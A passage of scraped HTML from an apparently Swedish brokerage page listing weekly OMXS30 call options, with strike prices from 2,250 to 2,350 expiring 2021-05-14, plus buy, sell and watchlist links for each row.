<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212315"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212315/omxs301e14y2250"
title="Köp optioner i OMXS301E14Y2250"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212315/omxs301e14y2250"
title="Sälj optioner i OMXS301E14Y2250"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212315/omxs301e14y2250" class="link" title="OMXS301E14Y2250">
OMXS301E14Y2250</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 250,00</td>
<td class="overview noSort">13,16</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212315" data-instrument_id="1215217"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212313"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212313/omxs301e14y2255"
title="Köp optioner i OMXS301E14Y2255"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212313/omxs301e14y2255"
title="Sälj optioner i OMXS301E14Y2255"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212313/omxs301e14y2255" class="link" title="OMXS301E14Y2255">
OMXS301E14Y2255</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 255,00</td>
<td class="overview noSort">13,95</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212313" data-instrument_id="1215215"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212308"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212308/omxs301e14y2260"
title="Köp optioner i OMXS301E14Y2260"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212308/omxs301e14y2260"
title="Sälj optioner i OMXS301E14Y2260"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212308/omxs301e14y2260" class="link" title="OMXS301E14Y2260">
OMXS301E14Y2260</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 260,00</td>
<td class="overview noSort">14,29</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212308" data-instrument_id="1215210"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212289"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212289/omxs301e14y2265"
title="Köp optioner i OMXS301E14Y2265"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212289/omxs301e14y2265"
title="Sälj optioner i OMXS301E14Y2265"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212289/omxs301e14y2265" class="link" title="OMXS301E14Y2265">
OMXS301E14Y2265</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 265,00</td>
<td class="overview noSort">26,16</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212289" data-instrument_id="1215191"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212283"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212283/omxs301e14y2270"
title="Köp optioner i OMXS301E14Y2270"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212283/omxs301e14y2270"
title="Sälj optioner i OMXS301E14Y2270"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212283/omxs301e14y2270" class="link" title="OMXS301E14Y2270">
OMXS301E14Y2270</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 270,00</td>
<td class="overview noSort">21,08</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212283" data-instrument_id="1215185"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212225"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212225/omxs301e14y2275"
title="Köp optioner i OMXS301E14Y2275"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212225/omxs301e14y2275"
title="Sälj optioner i OMXS301E14Y2275"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212225/omxs301e14y2275" class="link" title="OMXS301E14Y2275">
OMXS301E14Y2275</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 275,00</td>
<td class="overview noSort">14,29</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212225" data-instrument_id="1215127"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212224"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212224/omxs301e14y2280"
title="Köp optioner i OMXS301E14Y2280"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212224/omxs301e14y2280"
title="Sälj optioner i OMXS301E14Y2280"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212224/omxs301e14y2280" class="link" title="OMXS301E14Y2280">
OMXS301E14Y2280</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 280,00</td>
<td class="overview noSort">17,65</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212224" data-instrument_id="1215126"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212223"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212223/omxs301e14y2285"
title="Köp optioner i OMXS301E14Y2285"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212223/omxs301e14y2285"
title="Sälj optioner i OMXS301E14Y2285"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212223/omxs301e14y2285" class="link" title="OMXS301E14Y2285">
OMXS301E14Y2285</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 285,00</td>
<td class="overview noSort">21,43</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212223" data-instrument_id="1215125"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212222"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212222/omxs301e14y2290"
title="Köp optioner i OMXS301E14Y2290"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212222/omxs301e14y2290"
title="Sälj optioner i OMXS301E14Y2290"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212222/omxs301e14y2290" class="link" title="OMXS301E14Y2290">
OMXS301E14Y2290</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 290,00</td>
<td class="overview noSort">45,83</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212222" data-instrument_id="1215124"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212221"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212221/omxs301e14y2295"
title="Köp optioner i OMXS301E14Y2295"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212221/omxs301e14y2295"
title="Sälj optioner i OMXS301E14Y2295"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212221/omxs301e14y2295" class="link" title="OMXS301E14Y2295">
OMXS301E14Y2295</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 295,00</td>
<td class="overview noSort">27,40</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212221" data-instrument_id="1215123"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212220"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212220/omxs301e14y2300"
title="Köp optioner i OMXS301E14Y2300"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212220/omxs301e14y2300"
title="Sälj optioner i OMXS301E14Y2300"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212220/omxs301e14y2300" class="link" title="OMXS301E14Y2300">
OMXS301E14Y2300</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 300,00</td>
<td class="overview noSort">34,48</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212220" data-instrument_id="1215122"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212219"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212219/omxs301e14y2305"
title="Köp optioner i OMXS301E14Y2305"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212219/omxs301e14y2305"
title="Sälj optioner i OMXS301E14Y2305"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212219/omxs301e14y2305" class="link" title="OMXS301E14Y2305">
OMXS301E14Y2305</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 305,00</td>
<td class="overview noSort">34,78</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212219" data-instrument_id="1215121"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212218"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212218/omxs301e14y2310"
title="Köp optioner i OMXS301E14Y2310"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212218/omxs301e14y2310"
title="Sälj optioner i OMXS301E14Y2310"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212218/omxs301e14y2310" class="link" title="OMXS301E14Y2310">
OMXS301E14Y2310</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 310,00</td>
<td class="overview noSort">42,11</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212218" data-instrument_id="1215120"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212217"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212217/omxs301e14y2315"
title="Köp optioner i OMXS301E14Y2315"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212217/omxs301e14y2315"
title="Sälj optioner i OMXS301E14Y2315"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212217/omxs301e14y2315" class="link" title="OMXS301E14Y2315">
OMXS301E14Y2315</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 315,00</td>
<td class="overview noSort">55,17</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212217" data-instrument_id="1215119"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212216"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212216/omxs301e14y2320"
title="Köp optioner i OMXS301E14Y2320"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212216/omxs301e14y2320"
title="Sälj optioner i OMXS301E14Y2320"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212216/omxs301e14y2320" class="link" title="OMXS301E14Y2320">
OMXS301E14Y2320</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 320,00</td>
<td class="overview noSort">58,33</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212216" data-instrument_id="1215118"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212215"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212215/omxs301e14y2325"
title="Köp optioner i OMXS301E14Y2325"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212215/omxs301e14y2325"
title="Sälj optioner i OMXS301E14Y2325"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212215/omxs301e14y2325" class="link" title="OMXS301E14Y2325">
OMXS301E14Y2325</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 325,00</td>
<td class="overview noSort">80,00</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212215" data-instrument_id="1215117"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212214"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212214/omxs301e14y2330"
title="Köp optioner i OMXS301E14Y2330"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212214/omxs301e14y2330"
title="Sälj optioner i OMXS301E14Y2330"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212214/omxs301e14y2330" class="link" title="OMXS301E14Y2330">
OMXS301E14Y2330</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 330,00</td>
<td class="overview noSort">94,12</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212214" data-instrument_id="1215116"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212213"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212213/omxs301e14y2335"
title="Köp optioner i OMXS301E14Y2335"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212213/omxs301e14y2335"
title="Sälj optioner i OMXS301E14Y2335"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212213/omxs301e14y2335" class="link" title="OMXS301E14Y2335">
OMXS301E14Y2335</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 335,00</td>
<td class="overview noSort">114,29</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212213" data-instrument_id="1215115"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212212"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212212/omxs301e14y2340"
title="Köp optioner i OMXS301E14Y2340"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212212/omxs301e14y2340"
title="Sälj optioner i OMXS301E14Y2340"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212212/omxs301e14y2340" class="link" title="OMXS301E14Y2340">
OMXS301E14Y2340</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 340,00</td>
<td class="overview noSort">133,33</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212212" data-instrument_id="1215114"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1213405"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1213405/omxs301e14y2345"
title="Köp optioner i OMXS301E14Y2345"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1213405/omxs301e14y2345"
title="Sälj optioner i OMXS301E14Y2345"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1213405/omxs301e14y2345" class="link" title="OMXS301E14Y2345">
OMXS301E14Y2345</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 345,00</td>
<td class="overview noSort">182,61</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1213405" data-instrument_id="1216297"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1213404"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1213404/omxs301e14y2350"
title="Köp optioner i OMXS301E14Y2350"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1213404/omxs301e14y2350"
title="Sälj optioner i OMXS301E14Y2350"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1213404/omxs301e14y2350" class="link" title="OMXS301E14Y2350">
OMXS301E14Y2350</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 350,00</td>
<td class="overview noSort">177,78</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1213404" data-instrument_id="1216296"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
